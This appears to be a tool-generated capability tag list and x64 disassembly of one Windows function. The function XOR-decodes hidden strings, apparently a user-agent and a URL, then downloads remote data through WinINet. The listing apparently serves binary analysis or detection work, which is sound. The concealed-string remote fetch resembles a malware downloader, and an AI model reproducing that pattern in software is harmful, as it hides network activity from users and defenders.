Function at 0x7ff798128520
Capabilities:
Create http request
Encode data using xor
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x20]
sub rsp, 0x120
movaps xmmword [rsp + 0x110], xmm6
mov rax, qword [0x7ff7981d4380]
xor rax, rsp
mov qword [rbp + 8], rax
mov rbx, rdx
mov rdi, rcx
mov qword [rsp + 0x70], rcx
xor r15d, r15d
mov dword [rsp + 0x30], r15d
movups xmm0, xmmword [0x7ff79818e760]
movups xmmword [rsp + 0x38], xmm0
mov r10d, dword [0x7ff7981d4360]
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x7ff798128700
cmp r10d, 2
jl 0x7ff7981286c1
movdqa xmm5, xmmword [0x7ff798187ce0]
mov edx, r15d
movdqa xmm4, xmmword [0x7ff79818e810]
movdqa xmm6, xmmword [0x7ff79818e800]
movdqa xmm0, xmmword [0x7ff798187d20]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x3c]
mov r8d, dword [rsp + 0x50]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff798187d10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff798187d10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x7ff7981285c2
jmp 0x7ff798128700
lea r9, [rsp + 0x38]
mov r8d, r15d
nop dword [rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x7ff7981286d0
movups xmm0, xmmword [0x7ff79818e770]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [0x7ff79818e780]
movups xmmword [rbp - 0x70], xmm1
movups xmm0, xmmword [0x7ff79818e790]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [0x7ff79818e7a0]
movups xmmword [rbp - 0x50], xmm1
movups xmm0, xmmword [0x7ff79818e7b0]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [0x7ff79818e7c0]
movups xmmword [rbp - 0x30], xmm1
movups xmm0, xmmword [0x7ff79818e7d0]
movups xmmword [rbp - 0x20], xmm0
mov eax, dword [0x7ff79818e7e0]
mov dword [rbp - 0x10], eax
mov ecx, r15d
cmp r10d, 2
jl 0x7ff798128894
movdqa xmm5, xmmword [0x7ff798187ce0]
movdqa xmm4, xmmword [0x7ff79818e810]
movdqa xmm6, xmmword [0x7ff79818e800]
movdqa xmm0, xmmword [0x7ff798187d20]
movdqa xmmword [rsp + 0x50], xmm0
lea rdx, [rbp - 0x7c]
mov r8d, dword [rsp + 0x50]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff798187d10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff798187d10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x70
jl 0x7ff798128792
cmp ecx, 0x74
jge 0x7ff7981288cc
movsxd rax, ecx
lea r8, [rbp - 0x80]
add r8, rax
nop
mov eax, 0x4bda12f7
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x36
movzx eax, cl
sub al, dl
add al, 0x31
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x74
jl 0x7ff7981288a0
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 1]
lea rcx, [rbp - 0x80]
call qword [sym.imp.wininet.dll_InternetOpenA]
mov rsi, rax
lea rcx, [rsp + 0x38]
call qword [sym.imp.kernel32.dll_lstrlenA]
mov r9d, eax
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], 0x4000000
lea r8, [rsp + 0x38]
mov rdx, rbx
mov rcx, rsi
call qword [sym.imp.wininet.dll_InternetOpenUrlA]
mov r14, rax
mov ecx, 0x5f5e100
call fcn.7ff7980fd730
mov rbx, rax
xor edx, edx
mov r8d, 0x5f5e100
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
mov dword [rbp], 1
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], r15
mov qword [rdi + 0x18], 0xf
mov byte [rdi], r15b
mov dword [rsp + 0x30], 1
lea r9, [rbp]
mov r8d, 0x5f5e100
mov rdx, rbx
mov rcx, r14
call qword [sym.imp.wininet.dll_InternetReadFile]
test eax, eax
je 0x7ff7981289f4
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rbx + r8], 0
jne 0x7ff798128990
mov rdx, rbx
lea rcx, [rsp + 0x50]
call fcn.7ff7980c4480
lea rdx, [rsp + 0x50]
mov rcx, rdi
call fcn.7ff7980eb610
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x7ff7981289f4
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff7981289ef
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x7ff7981289ef
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.7ff798179c7c
mov rcx, rbx
call fcn.7ff798179c7c
mov rcx, rsi
call qword [sym.imp.wininet.dll_InternetCloseHandle]
mov rcx, r14
call qword [sym.imp.wininet.dll_InternetCloseHandle]
mov rax, rdi
mov rcx, qword [rbp + 8]
xor rcx, rsp
call fcn.7ff798179f10
mov rbx, qword [rsp + 0x160]
movaps xmm6, xmmword [rsp + 0x110]
add rsp, 0x120
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret